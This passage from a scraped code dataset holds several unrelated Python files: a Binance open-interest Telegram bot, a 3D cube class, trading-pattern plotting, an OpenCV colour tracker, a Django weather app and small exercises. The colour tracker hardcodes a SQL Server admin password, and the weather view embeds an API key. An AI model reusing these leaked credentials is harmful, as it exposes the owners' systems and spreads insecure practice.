bot.send_message(chat_id = Chat_Id, text = telegram_message)\n\n except Exception as e:\n print('bot_send_Error\\n', e)\n\n\ndef job():\n the_message = ''\n now = dt.datetime.now()\n now_minutes = now.minute\n the_message = \"current time = \" + str(now)\n\n if(now_minutes % 5 == 0):\n the_message = longshort_ratio_func()\n if(the_message != \"\"):\n telegram_send_message(the_message)\n\n\ndef longshort_ratio_func():\n print(\"calculating longshort_ratio_func\")\n try:\n output_text_return = \"\"\n global funding_history_before_btc\n global funding_history_before_usdt\n global long_history_before_btc\n global short_history_before_btc\n\n funding_history_raw = urlopen(\"https://www.binance.com/futures/data/openInterestHist?symbol=BTCUSDT&period=5m\")\n funding_history_parser = BeautifulSoup(funding_history_raw, \"html.parser\")\n Interest_Datas = str(funding_history_parser)\n Interest_Datas = json.loads(Interest_Datas)\n\n\n sumOpenInterest = round(float(Interest_Datas[29]['sumOpenInterest']),3)\n sumOpenInterestValue = int(round(float(Interest_Datas[29]['sumOpenInterestValue']),0))\n\n\n\n if(funding_history_before_btc == 0):\n output_text_return += \"Open Interest\\n\" + \"{:0,.3f}\".format(sumOpenInterest) + \" BTC ( - )\\n\\n\"\n\n else:\n if(sumOpenInterest - funding_history_before_btc > 0):\n output_text_return += \"Open Interest\\n\" + \"{:0,.3f}\".format(sumOpenInterest) + \" BTC (+\" + \"{:0,.3f}\".format(sumOpenInterest - funding_history_before_btc) + \")\\n\\n\"\n \n else:\n output_text_return += \"Open Interest\\n\" + \"{:0,.3f}\".format(sumOpenInterest) + \" BTC (\" + \"{:0,.3f}\".format(sumOpenInterest - funding_history_before_btc) + \")\\n\\n\"\n \n\n\n\n if(funding_history_before_usdt == 0):\n output_text_return += \"Notional Value of Open Interest\\n\" + \"{:0,.0f}\".format(sumOpenInterestValue) + \" USDT ( - )\\n\\n\"\n\n else:\n if(sumOpenInterestValue - funding_history_before_usdt > 0):\n output_text_return += \"Notional Value of Open Interest\\n\" + \"{:0,.0f}\".format(sumOpenInterestValue) + \" USDT (+\" + \"{:0,.0f}\".format(sumOpenInterestValue - funding_history_before_usdt) + \")\\n\\n\"\n \n else:\n output_text_return += \"Notional Value of Open Interest\\n\" + \"{:0,.0f}\".format(sumOpenInterestValue) + \" USDT (\" + \"{:0,.0f}\".format(sumOpenInterestValue - funding_history_before_usdt) + \")\\n\\n\"\n \n\n\n if(sumOpenInterest == funding_history_before_btc):\n output_text_return = \"\"\n return output_text_return\n \n\n\n funding_history_before_btc = sumOpenInterest\n funding_history_before_usdt = sumOpenInterestValue\n\n\n\n longshort_ratio_raw = urlopen(\"https://www.binance.com/futures/data/globalLongShortAccountRatio?symbol=BTCUSDT&period=5m\")\n\n longshort_ratio_parser = BeautifulSoup(longshort_ratio_raw, \"html.parser\")\n longshort_ratio_datas = str(longshort_ratio_parser)\n longshort_ratio_datas = json.loads(longshort_ratio_datas)\n\n longshort_ratio_longAccount = float(\"{:0,.2f}\".format(float(longshort_ratio_datas[29]['longAccount']) * 100))\n longshort_ratio_shortAccount = float(\"{:0,.2f}\".format(float(longshort_ratio_datas[29]['shortAccount']) * 100))\n\n\n\n if(long_history_before_btc == 0):\n output_text_return += \"Long Account : \" + str(longshort_ratio_longAccount) + \"% ( - )\\n\"\n\n else:\n if(longshort_ratio_longAccount - long_history_before_btc >= 0):\n output_text_return += \"Long Account : \" + str(longshort_ratio_longAccount) + \"% (+\" + str(\"{:0,.2f}\".format(longshort_ratio_longAccount - long_history_before_btc)) + \")\\n\"\n \n else:\n output_text_return += \"Long Account : \" + str(longshort_ratio_longAccount) + \"% (\" + str(\"{:0,.2f}\".format(longshort_ratio_longAccount - long_history_before_btc)) + \")\\n\"\n \n\n\n if(short_history_before_btc == 0):\n output_text_return += \"Short Account : \" + str(longshort_ratio_shortAccount) + \"% ( - )\"\n\n else:\n if(longshort_ratio_shortAccount - short_history_before_btc >= 0):\n output_text_return += \"Short Account : \" + str(longshort_ratio_shortAccount) + \"% (+\" + str(\"{:0,.2f}\".format(longshort_ratio_shortAccount - short_history_before_btc)) + \")\"\n \n else:\n output_text_return += \"Short Account : \" + str(longshort_ratio_shortAccount) + \"% (\" + str(\"{:0,.2f}\".format(longshort_ratio_shortAccount - short_history_before_btc)) + \")\"\n \n\n\n long_history_before_btc = longshort_ratio_longAccount\n short_history_before_btc = longshort_ratio_shortAccount\n\n return output_text_return\n\n except:\n return ''\n\n\n\n\nschedule.every(1).minutes.do(job)\n\n\nwhile True:\n schedule.run_pending()\n time.sleep(1)\n \n","repo_name":"beomsun0829/Open_Interest_Telegram_Alerts","sub_path":"Open_Interest_Telegram_Alerts.py","file_name":"Open_Interest_Telegram_Alerts.py","file_ext":"py","file_size_in_byte":5475,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"40"} +{"seq_id":"16398663190","text":"\n__version__='1.0.0'\n__author__='Ls_Jan'\n\nif(__package__):#如果是通过包导入该模块的话那么就用依赖导入\n from .XJ_Point import *\n from .XJ_Aspect import *\nelse:\n from XJ_Point import *\n from XJ_Aspect import *\n\nclass XJ_Cube:#暂不打算实现立方体的旋转缩放移动操作，因为目前来说没必要\n '''\n ↑z\n ↑ \n ↑ \n ↑ ↗y\n ↑ ↗\n ↑ ↗ x\n · → → → → → → \n ''' \n def __init__(self,pos:XJ_Point,vector:XJ_Point):#pos为立方体的前左下角锚点，vector是矢量长宽高\n self.__pos=pos.copy()\n self.__vector={'x':XJ_Point(vector.x,0,0),'y':XJ_Point(0,vector.y,0),'z':XJ_Point(0,0,vector.z)}#设置成这个结构是为了让立方体适应性更高，可以完成旋转之类的魔鬼操作，虽然并不打算做这些复杂功能\n self.__picts=dict()#面附带的图片，一般是cv2.imread读取出来的图象，数据类型是np.ndarray\n\n def GetPoints(self,aspect:XJ_Aspect):#获取面的坐标信息，返回[LT:XJ_Point,RT:XJ_Point,RB:XJ_Point,LB:XJ_Point]，LT为左上角，RT为右上角，RB为右下角，LB为左下角\n P=self.__pos.copy()\n V=self.__vector\n LT,RT,RB=None,None,None\n if(aspect==XJ_Aspect.Front):\n LT=P+V['z']\n RT=LT+V['x']\n RB=P+V['x']\n elif(aspect==XJ_Aspect.Back):\n RB=P+V['y']\n RT=RB+V['z']\n LT=RT+V['x']\n elif(aspect==XJ_Aspect.Left):\n RB=P\n RT=RB+V['z']\n LT=RT+V['y']\n elif(aspect==XJ_Aspect.Right):\n LT=P+V['x']+V['z']\n RT=LT+V['y']\n RB=P+V['x']+V['y']\n elif(aspect==XJ_Aspect.Top):\n LT=P+V['y']+V['z']\n RT=LT+V['x']\n RB=P+V['x']+V['z']\n elif(aspect==XJ_Aspect.Bottom):\n LT=P\n RT=LT+V['x']\n RB=RT+V['y']\n return [LT,RT,RB,LT+RB-RT]\n \n def SetPict(self,aspect:XJ_Aspect,PICT):#设置对应面的图片，一般是cv2.imread读取出来的图象，数据类型是np.ndarray\n self.__picts[aspect]=PICT\n def GetPict(self,aspect:XJ_Aspect):#获取对应面的图片\n return self.__picts.setdefault(aspect,None)\n\n def SetAnchor(self,anchor):#设置锚点\n self.__pos=anchor\n def SetVectorX(self,x):#设置向量x\n self.__vector['x']=x\n def SetVectorY(self,y):#设置向量y\n self.__vector['y']=y\n def SetVectorZ(self,z):#设置向量z\n self.__vector['z']=z\n def GetAnchorAndVector(self):#返回锚点以及三向量\n #锚点为XJ_Point类型\n #三向量为dict，键分别为'x'、'y'、'z'，值为XJ_Point类型\n return self.__pos.copy(),self.__vector.copy()\n \n \nif __name__=='__main__':\n cube=XJ_Cube(XJ_Point(0,0,0),XJ_Point(1,2,3))\n for i in XJ_Aspect:\n print(i.name)\n for j in cube.GetPoints(i):\n print(j)\n print()\n print(cube.GetAnchorAndVector())\n ","repo_name":"Ls-Jan/PyQt_MCCloakMaker","sub_path":"XJ_UsefulWidgets/XJ_3DViewer/XJ_Cube.py","file_name":"XJ_Cube.py","file_ext":"py","file_size_in_byte":3084,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"40"} +{"seq_id":"69879695482","text":"import mplfinance as mpf\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport os\nimport numpy as np\nimport talib\n# import shutil\nclass plotPattern():\n def __init__(self,configobj,folderName):\n self.alines=[]\n self.colors=[]\n self.prefixstring = configobj.prefixstring\n self.region = configobj.hight_region\n self.dropDelta = configobj.dropDelta\n self.targetName = configobj.targetName\n self.imgCounter=0\n self.folderName=folderName\n self.T= configobj.T\n self.lookbackT = configobj.lookbackT\n self.vls=[]\n self.vls_colors=[]\n self.ma=[]\n self.configobj = configobj\n self.rsiList=[]\n self.adps=[]\n # self.total_imgs=total_imgs\n def linegenerator(self, df, idx, row, df_plot, plot,save, conditionList):\n self.adps=[]\n df_analysis = df.loc[:idx, :].iloc[:-1, :]\n datarow = df.loc[idx, :]\n L_black = df_analysis[df_analysis['Dir'] == -1].reset_index().set_index('found') ##没有包含当前的低点\n conditionString = \"\".join([str(ele) for ele in conditionList])\n startLen = len(self.alines)\n if row[f'{self.prefixstring}当前点被前高支撑'] == True:\n H_black = df_analysis[df_analysis['Dir'] == 1].set_index('found')\n filtered_highs = H_black[H_black['Value'] < datarow['Value']]\n for h_idx in filtered_highs.index:\n self.alines.append([(h_idx, filtered_highs.loc[h_idx, 'Value']), (idx, datarow['Value'])])\n self.colors.append('y')\n if row[f'{self.prefixstring}和前最低点靠近'] or row[f'{self.prefixstring}当前点高于最低点']:\n LL = L_black['Value'].min();\n LL_idx = L_black['Value'].astype(float).idxmin()\n highsBetween = df.loc[LL_idx:datarow['found'], :]\n H_idx = highsBetween['CLOSE'].idxmax()\n H_value = highsBetween.loc[H_idx]['CLOSE']\n # self.alines.append([(LL_idx, LL), (datarow['found'], datarow['Value'])])\n # self.colors.append('#abac11')\n # dfFuture = df_plot.loc[idx:,:]\n\n self.alines.append(\n [(LL_idx, LL), (H_idx, H_value), (datarow['found'], datarow['Value']), (idx, row['CLOSE'])])\n self.colors.append('#cdcf55')\n\n if row[f'{self.prefixstring}除去最低后还有2上相近低点'] == True or row[f'{self.prefixstring}除去最低后还有相近低点'] == True:\n LL_idx = L_black['Value'].astype(float).idxmin()\n LL_drop_lowest = L_black.drop([LL_idx], axis=0)\n LL_drop_lowest = LL_drop_lowest[(LL_drop_lowest['Value'] - datarow['Value']).abs() < self.region]\n temp = list(zip(LL_drop_lowest.index.tolist(), LL_drop_lowest['Value'].tolist()))\n # valuePart = list(zip(LL_drop_lowest['Value'].tolist()[:-1],LL_drop_lowest['Value'].tolist()[:-1]))\n temp.append((idx, datarow['Value']))\n self.alines.append(temp)\n self.colors.append('b')\n if row['低点抬高']:\n temp = df.loc[:idx, :] ##包含了当前的低点\n temp = temp[temp['Dir'] == -1]\n self.alines.append([(temp.found[-1], temp['Value'][-1]), (temp.found[-2], temp['Value'][-2])])\n self.colors.append('b')\n print()\n # LL_idx = L_black['Value'].idxmin()\n # LL_drop_lowest = L_black.drop([LL_idx], axis=0)\n # LL_drop_lowest = LL_drop_lowest[(LL_drop_lowest['Value'] - datarow['Value']).abs() < self.region]\n # temp = list(zip(LL_drop_lowest.index.tolist(), LL_drop_lowest['Value'].tolist()))\n # # valuePart = list(zip(LL_drop_lowest['Value'].tolist()[:-1],LL_drop_lowest['Value'].tolist()[:-1]))\n # temp.append((idx, datarow['Value']))\n # self.alines.append(temp)\n # self.colors.append('b')\n if row[f'{self.prefixstring}当前低点在之前的下引线附近']:\n hammerPattern = df_analysis[df_analysis['明显下引线']]\n qualified_hammer = hammerPattern[(hammerPattern['LOW'] - datarow['Value']).abs() < self.region]\n temp = list(zip(qualified_hammer.index.tolist(), qualified_hammer['LOW'].tolist()))\n temp.append((idx, datarow['Value']))\n self.alines.append(temp)\n self.colors.append('m')\n print()\n if (row[f'{self.prefixstring}高点到低点下降{self.dropDelta}']):\n allTimeHigh = df_analysis[self.targetName].max()\n allTimeHigh_idx = df_analysis[self.targetName].idxmax()\n self.alines.append([(allTimeHigh_idx, allTimeHigh), (datarow['found'], datarow['Value'])])\n self.colors.append('r')\n if ((row[f'近{60}bar最大下行超{self.dropDelta}'])):\n allTimeHigh = df_analysis[self.targetName].max()\n allTimeHigh_idx = df_analysis[self.targetName].idxmax()\n self.alines.append([(allTimeHigh_idx, allTimeHigh), (idx, datarow['CLOSE'])])\n self.colors.append('r')\n\n # if row['长下引线阴线后所有线最高价<前一根最高价']:\n # numerical_idx = df.index.get_loc(idx)\n # df_lookback = df.iloc[numerical_idx - 15:numerical_idx, :]\n # df_hammer = df_lookback[df_lookback['明显下引线'] & df_lookback['阴线']]\n # if df_hammer.shape[0] > 0:\n # # df_focus = df_lookback.loc[df_hammer.index[-1]:, :].iloc[1:, :] ##检查中间部分\n # self.alines.append([(df_hammer.index[-1], df_hammer.close[-1]), (idx, datarow['close'])])\n # self.colors.append('m')\n\n if \"MA\" in conditionString:\n for ele in self.configobj.MAset:\n if \"MA\"+str(ele) in conditionString:\n self.ma.append(ele)\n if \"RSI\" in conditionString:\n for ele in self.configobj.rsiPeriodList:\n if \"RSI\" + str(ele) in conditionString:\n df_plot['rsi'] = talib.RSI(df_plot['CLOSE'], timeperiod=ele)\n line80 = [80] * len(df_plot['rsi'])\n line20 = [20] * len(df_plot['rsi'])\n ap0 = [\n mpf.make_addplot(df_plot['rsi'], color='k', title='RSI', panel=1),\n mpf.make_addplot(line80, panel=1, color='r', ),\n mpf.make_addplot(line20, panel=1, color='g'),\n ]\n self.adps = self.adps + ap0\n break\n endLen = len(self.alines)\n linesFramebyFrame = self.alines[startLen:endLen + 1]\n colorsFramebyFrame = self.colors[startLen:endLen + 1]\n temp = pd.Series(index=df_plot.index)\n temp[idx] = df_plot.loc[idx,'CLOSE']\n self.adps +=[mpf.make_addplot(temp, title='Signal Triggered',scatter=True, markersize=500, marker=r'$\\Downarrow$', color='#0563fa', panel=0,)]\n\n # vline = [(idx, df.loc[idx]['high'].min()), (idx, df['Value'].max())]\n # linesFramebyFrame.append(vline)\n # colorsFramebyFrame.append('k')\n # if save:\n # if not os.path.exists(self.folderName):\n # os.makedirs(self.folderName)\n\n # fileName = self.folderName + f'/{self.imgCounter}.png'\n # self.window['progress_1'].UpdateBar(((self.imgCounter+1)/self.total_imgs)*100)\n # df_plot['open'] = df_plot['close']\n # df_plot['low'] = df_plot['close']\n # df_plot['high'] = df_plot['close']\n\n # if save:\n # mpf.plot(df_plot, type='line',savefig=fileName,tight_layout=True,addplot=self.adps)\n df_plot = df_plot.rename({\"OPEN\":\"Open\",'LOW':\"Low\",\"HIGH\":\"High\",\"CLOSE\":\"Close\"},axis=1)\n if plot:\n mpf.plot(df_plot, type='candle', alines=dict(alines=linesFramebyFrame, colors=colorsFramebyFrame),\n style='yahoo', vlines=dict(vlines=self.vls, colors=self.vls_colors, alpha=0.1), mav=self.ma,\n addplot=self.adps)\n\n # if w:\n # plt.savefig(f'patternReconsResults/W_{self.T}/{self.imgCounter}.png')\n # else:\n\n self.imgCounter += 1\n plt.show()\n # print()\n # return result\n\n def plotbyCndition(self, df_results, filteredRows, conditionList,plot=False,save=True):\n\n # fileFolder = \"learnedPatterns/Pattern\" +str(patternNum)+\"_\"+ \"_\".join(conditionList)\n # fileFolder = \"learnedPatterns\"\n # fileFolder = fileFolder.replace(\">=\", \"大于等于\").replace(\">\", '大于').replace(\"<=\", \"小于等于\").replace(\"<\", \"小于\")\n # self.folderName = fileFolder + f\"_{self.T}\"\n # if not os.path.exists(self.folderName):\n # os.makedirs(self.folderName)\n # else:\n # shutil.rmtree(self.folderName)\n cols = filteredRows.columns.tolist()\n # # cols.remove(ele) for ele in conditionList\n filteredRows.loc[:, set(cols) - set(conditionList) - set(\n ['found', 'OPEN', 'HIGH', 'LOW', 'CLOSE', 'AMT', 'Dir', 'Value'])] = False\n resultList = []\n for idx, row in filteredRows.iterrows():\n futureLen = 20\n\n numerical_idx = df_results.index.get_loc(idx)\n # 得到满足基础条件的idx，然后回溯原始数据\n df_roi = df_results.iloc[max(0, numerical_idx - self.lookbackT):numerical_idx + 1 + futureLen, :]\n self.linegenerator(df_roi, idx, row, df_plot=df_results.iloc[max(0,\n numerical_idx - self.lookbackT - 10):numerical_idx + 1 + futureLen,\n :], plot=plot, save=save,conditionList=conditionList)\n # # resultList.append(result)\n # # dfPriceSta = pd.DataFrame(resultList)\n # # winrate = (dfPriceSta['delta'] > 0).sum() / dfPriceSta.shape[0]\n # # averagedWin = dfPriceSta['delta'].mean()\n # fig = mpf.figure(style='yahoo', figsize=(30, 8))\n # # ax3 = fig.add_subplot(3, 1, 3)\n # ax1 = fig.add_subplot(1, 1, 1)\n # # ax2 = fig.add_subplot(2, 1, 2)\n # if '当前低点有明显下引线' in conditionList:\n # xx = [df_results.index.get_loc(ele) for ele in filteredRows.index.tolist()]\n # a = [np.nan] * len(df_results)\n # a = pd.Series(a)\n # a[xx] = df_results.loc[filteredRows.index, 'close']\n # test = mpf.make_addplot(a, type='scatter', markersize=20, marker='^', ax=ax1)\n # mpf.plot(df_results, addplot=test, type='candle', alines=dict(alines=self.alines, colors=self.colors),\n # style='yahoo', ax=ax1)\n #\n # plt.savefig(f'{self.folderName}/全局总览.png')\n #\n # else:\n # mpf.plot(df_results, type='candle', alines=dict(alines=self.alines, colors=self.colors), style='yahoo',\n # ax=ax1)\n\n # plt.show()\n\n\n # fig = mpf.figure(style='yahoo', figsize=(30, 8))\n # ax1 = fig.add_subplot(1, 1, 1)\n # mpf.plot(df_results, type='candle', alines=dict(alines=lowpoint_obj.alines, colors=lowpoint_obj.colors),\n # style='yahoo', ax=ax1)\n # return dfPriceSta.shape[0], winrate, averagedWin, filteredRows\n","repo_name":"szy1900/autoAlpha","sub_path":"utils/plotRecons.py","file_name":"plotRecons.py","file_ext":"py","file_size_in_byte":11495,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"40"} +{"seq_id":"36260595757","text":"# python color_tracking.py --video balls.mp4\n# python color_tracking.py\n\n# import the necessary packages\nfrom collections import deque\nimport numpy as np\nimport argparse\nimport imutils\nimport cv2\nimport urllib # for reading image from URL\nimport pyodbc\n\n############################# B A N C O ###########\nserver = 'localhost\\sqlexpress'\ndatabase = 'teste'\nusername = 'sa'\npassword = 'nimp2017'\ncnxn = pyodbc.connect('DRIVER={ODBC Driver 13 for SQL Server};SERVER='+server+';DATABASE='+database+';UID='+username+';PWD='+ password)\ncursor = cnxn.cursor()\n##############################\n\n\nqtdframe = 0\n# construct the argument parse and parse the arguments\nap = argparse.ArgumentParser()\nap.add_argument(\"-v\", \"--video\",\n help=\"path to the (optional) video file\")\nap.add_argument(\"-b\", \"--buffer\", type=int, default=64,\n help=\"max buffer size\")\nargs = vars(ap.parse_args())\n\n# define the lower and upper boundaries of the colors in the HSV color space\nlower = {'VERMELHO': (166, 84, 141), 'VERDE': (66, 122, 129), 'AZUL': (97, 100, 117), 'AMARELO': (23, 59, 119)\n } # assign new item lower['blue'] = (93, 10, 0)\nupper = {'VERMELHO': (186, 255, 255), 'VERDE': (86, 255, 255), 'AZUL': (117, 255, 255), 'AMARELO': (54, 255, 255)}\n\n# define standard colors for circle around the object\ncolors = {'VERMELHO': (0, 0, 255), 'VERDE': (0, 255, 0), 'AZUL': (255, 0, 0), 'AMARELO': (0, 255, 217),\n 'LARANJA': (0, 140, 255)}\n\n# pts = deque(maxlen=args[\"buffer\"])\n\n# if a video path was not supplied, grab the reference\n# to the webcam\nif not args.get(\"video\", False):\n camera = cv2.VideoCapture('vid/teste1.jpg')\n\n\n# otherwise, grab a reference to the video file\nelse:\n camera = cv2.VideoCapture(args[\"video\"])\n# keep looping\n\nframeVermelho = 0\nframeAmarelo = 0\nframeVerde = 0\nframeLaranja = 0\nframeAzul = 0\n\nvoltasVermelho = 0\nvoltasAmarelo = 0\nvoltasVerde = 0\nvoltasLaranja = 0\nvoltasAzul = 0\n\n\nwhile True:\n # grab the current frame\n (grabbed, frame) = camera.read()\n\n # if we are viewing a video and we did not grab a frame,\n # then we have reached the end of the video\n if args.get(\"video\") and not grabbed:\n break\n\n # IP webcam image stream\n # URL = 'http://10.254.254.102:8080/shot.jpg'\n # urllib.urlretrieve(URL, 'shot1.jpg')\n # frame = cv2.imread('shot1.jpg')\n\n\n # resize the frame, blur it, and convert it to the HSV\n # color space\n frame = imutils.resize(frame, width=1080)\n\n blurred = cv2.GaussianBlur(frame, (11, 11), 0)\n hsv = cv2.cvtColor(blurred, cv2.COLOR_BGR2HSV)\n\n\n # for each color in dictionary check object in frame\n for key, value in upper.items():\n # construct a mask for the color from dictionary`1, then perform\n # a series of dilations and erosions to remove any small\n # blobs left in the mask\n\n kernel = np.ones((9, 9), np.uint8)\n\n mask = cv2.inRange(hsv, lower[key], upper[key]) #Aqui aplica uma mascara ignorando os pixeis que não estiverem entre\n #Lower e upper\n\n mask = cv2.morphologyEx(mask, cv2.MORPH_OPEN, kernel)\n mask = cv2.morphologyEx(mask, cv2.MORPH_CLOSE, kernel)\n\n # find contours in the mask and initialize the current\n # (x, y) center of the ball\n cnts = cv2.findContours(mask.copy(), cv2.RETR_EXTERNAL,\n cv2.CHAIN_APPROX_SIMPLE)[-2]\n center = None\n\n # only proceed if at least one contour was found\n if len(cnts) > 0:\n # find the largest contour in the mask, then use\n # it to compute the minimum enclosing circle and\n # centroid\n c = max(cnts, key=cv2.contourArea)\n ((x, y), radius) = cv2.minEnclosingCircle(c)\n M = cv2.moments(c)\n center = (int(M[\"m10\"] / M[\"m00\"]), int(M[\"m01\"] / M[\"m00\"]))\n\n\n if radius > 50: # se o raio do objeto é 0.5 marca e pontua\n\n # draw the circle and centroid on the frame,\n # then update the list of tracked points\n if key == \"VERMELHO\":\n #if (qtdframe - frameVermelho) > 300:\n print(key + \"Pontuou\")\n frameVermelho = qtdframe\n voltasVermelho += 1\n\n if key == \"AMARELO\":\n #if (qtdframe - frameAmarelo) > 300:\n print(key + \"Pontuou\")\n frameAmarelo = qtdframe\n voltasAmarelo += 1\n\n if key == \"VERDE\":\n #if (qtdframe - frameVerde) > 300:\n print(key + \"Pontuou\")\n frameVerde = qtdframe\n voltasVerde += 1\n\n if key == \"AZUL\":\n #if (qtdframe - frameAzul) > 300:\n print(key + \"Pontuou\")\n frameAzul = qtdframe\n voltasAzul += 1\n\n #if key == \"LARANJA\":\n # if (qtdframe - frameLaranja) > 300:\n # print(key + \"Pontuou\")\n # frameLaranja = qtdframe\n\n\n cv2.circle(frame, (int(x), int(y)), int(radius), colors[key], 2)\n cv2.putText(frame, \"Pontuou\", (int(x - radius), int(y - radius)), cv2.FONT_HERSHEY_SIMPLEX, 0.6, colors[key], 2)\n cursor.execute(\"INSERT INTO tabela(teste)VALUES ('ponto')\")\n\n\n\n\n # show the frame to our screen\n qtdframe += 1\n cv2.putText(frame, \"Voltas Vermelho: \" + str(voltasVermelho) , (20, 50), cv2.FONT_HERSHEY_SIMPLEX, 0.8 ,colors[\"VERMELHO\"], 4)\n cv2.putText(frame, \"Voltas Amarelho: \" + str(voltasAmarelo), (20, 80), cv2.FONT_HERSHEY_SIMPLEX, 0.8, colors[\"AMARELO\"], 4)\n cv2.putText(frame, \"Voltas Verde: \"+ str(voltasVerde), (20, 110), cv2.FONT_HERSHEY_SIMPLEX, 0.8, colors[\"VERDE\"], 4)\n cv2.putText(frame, \"Voltas Azul: \"+ str(voltasAzul), (20, 135), cv2.FONT_HERSHEY_SIMPLEX, 0.8, colors[\"AZUL\"], 4)\n\n cv2.imshow(\"Frame\", frame)\n\n\n key = cv2.waitKey(1) & 0xFF\n # if the 'q' key is pressed, stop the loop\n if key == ord(\"q\"):\n break\n\n# cleanup the camera and close any open windows\ncamera.release()\ncv2.destroyAllWindows()","repo_name":"mrRodrigo/OpenCV-Aux","sub_path":"colorTest.py","file_name":"colorTest.py","file_ext":"py","file_size_in_byte":6278,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"40"} +{"seq_id":"16086787280","text":"sentence = 'ThiS is String with Upper and lower case Letters'\ncount = {} # xem lai cai get()\nfor character in sentence.lower():\n count[character] = count.get(character,0) + 1 # xem cai cach trong automate\n\nprint(count)\n\nlist_count = list(count.items())\nlist_count.sort()\nprint(list_count)\n ","repo_name":"scarlett-ohara91/Nguyen-Thuy-Duong","sub_path":"session 4 - bai lam/exercise 20.8.1.py","file_name":"exercise 20.8.1.py","file_ext":"py","file_size_in_byte":315,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"40"} +{"seq_id":"12917211543","text":"def sqrt_root(num):\n if num == 0 or num == 1:\n return 1\n low = 0.0\n high = float(num) if num > 1 else 1\n x = 0.0\n\n while low <= high:\n x = (low + high) / 2\n if x * x > num:\n high = x - 0.0001\n elif x * x < num:\n low = x + 0.0001\n else:\n break\n\n return round(x, 3)\n\n\nprint(sqrt_root(2))\nprint(sqrt_root(0.5))\nprint(sqrt_root(0.00000001))\nimport math\n\nprint(math.sqrt(2))\nprint(math.sqrt(0.5))\nprint(math.sqrt(0.00000001))\n","repo_name":"albertmenglongli/Algorithms","sub_path":"Others/sqrt_root.py","file_name":"sqrt_root.py","file_ext":"py","file_size_in_byte":507,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"40"} +{"seq_id":"9917261520","text":"\"\"\"palindrome checker\r\nJoshua Hewitson\r\n2/5/2014\"\"\"\r\n\r\ndef check_palindrome(input1):\r\n # input1 is shortened each time so if it is empty then the whole palindrome has been checked and it is a palindrome\r\n if input1 == \"\":\r\n return True\r\n \r\n # each end is checked to be the same, if they are, it passes to the next recursion\r\n if input1[0] == input1[-1]:\r\n # input is shortened by removing the end characters\r\n input1 = input1[1:len(input1)-1]\r\n # check_palindrome is now run again with a shortened input\r\n if check_palindrome(input1):\r\n return True\r\n \r\n return False\r\n\r\nstring1 = input(\"Enter a string:\\n\")\r\nif check_palindrome(string1):\r\n print (\"Palindrome!\")\r\nelse:\r\n print('Not a palindrome!')","repo_name":"MrHamdulay/csc3-capstone","sub_path":"examples/data/Assignment_8/hwtjos003/question1.py","file_name":"question1.py","file_ext":"py","file_size_in_byte":770,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"40"} +{"seq_id":"72407837559","text":"def max_co2_per_capita(dane):\n if 'Per Capita' not in dane.columns:\n raise Exception(\"DataFrame nie zawiera kolumny Per Capita\")\n return dane.groupby('Year').apply(lambda df: df.nlargest(5, 'Per Capita')[['Country', 'Per Capita', 'Total']])\n\n\n\ndef max_gdp_per_capita(dane):\n if 'GDP' not in dane.columns:\n raise Exception(\"DataFrame nie zawiera kolumny GDP\")\n if 'Population' not in dane.columns:\n raise Exception(\"DataFrame nie zawiera kolumny Population\")\n dane['GDP per capita'] = dane['GDP'] / dane['Population']\n return dane.groupby('Year').apply(lambda df: df.nlargest(5, 'GDP per capita'))[['Country', 'GDP per capita', 'GDP']]\n\n\ndef co2_change_per_capita(dane, rangemin, rangemax):\n if 'Year' not in dane.columns:\n raise Exception(\"DataFrame nie zawiera kolumny Year\")\n if rangemax < rangemin + 10:\n raise ValueError(\"Zakres wynosi mniej niż 10 lat\")\n dane = dane.sort_values(by='Year')\n last_year = dane.Year.unique()[-1]\n year2 = last_year - 10\n pivot = dane[dane.Year.isin([year2, last_year])].pivot_table(values='Per Capita', index='Country', columns='Year')\n pivot['change'] = pivot[last_year] - pivot[year2]\n pivot = pivot.dropna()\n pivot = pivot.sort_values(by='change', ascending=False)\n pivot2 = pivot.sort_values(by='change', ascending=True)\n return pivot.head(5), pivot2.head(5)\n\n","repo_name":"kvmilos/PaczkaAnalizStatystycznych","sub_path":"kod/paczka/analizy.py","file_name":"analizy.py","file_ext":"py","file_size_in_byte":1386,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"40"} +{"seq_id":"26950863526","text":"from django.shortcuts import render\n# from django.views.generic.edit import DeleteView\n# from django.urls import reverse_lazy\nimport requests\n\nfrom .models import City\nfrom .forms import CityForm\n\n# Create your views here.\ndef index(request):\n url = 'http://api.openweathermap.org/data/2.5/weather?q={' \\\n '}&units=imperial&appid=82483e9be40951f7eaf9d1152a97a58f'\n\n if request.method == 'POST':\n form = CityForm(request.POST)\n form.save()\n\n form = CityForm()\n\n cities = City.objects.all()\n\n weather_data = []\n\n for city in cities:\n r = requests.get(url.format(city)).json()\n\n city_weather = {\n 'city': city.name,\n 'temperature': r['main']['temp'],\n 'description': r['weather'][0]['description'],\n 'icon': r['weather'][0]['icon'],\n }\n\n weather_data.append(city_weather)\n\n print(weather_data)\n\n context = {'weather_data': weather_data, 'form': form}\n return render(request, 'weather/weather.html', context)\n\n\n# class CityDelete(DeleteView):\n# model = City\n# success_url = reverse_lazy('index')\n","repo_name":"APuck003/weather_app","sub_path":"weather/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1122,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"40"} +{"seq_id":"36111349026","text":"# Faça um programa que leia 5 valores numéricos e guarde-os em uma lista. No final, mostre qual foi o maior e o menor\n# valor digitado e as suas respectivas posições na lista.\n\nlista = []\nmaior = menor = 0\n\nfor vez in range(0, 5):\n lista.append(int(input(f\"Digite o valor da posição {vez}: \")))\n\n if vez == 0:\n maior = menor = lista[vez]\n\n if lista[vez] > maior:\n maior = lista[vez]\n if lista[vez] < menor:\n menor = lista[vez]\n\nprint(\"===\" * 10)\nprint(f\"Você digitou os valores {lista}\")\nprint(\"===\" * 10)\nprint(f\"O maior valor digitado foi {maior} nas posições \", end=\"\")\n\nfor indice, valor in enumerate(lista):\n if valor == maior:\n print(f\"{indice}... \", 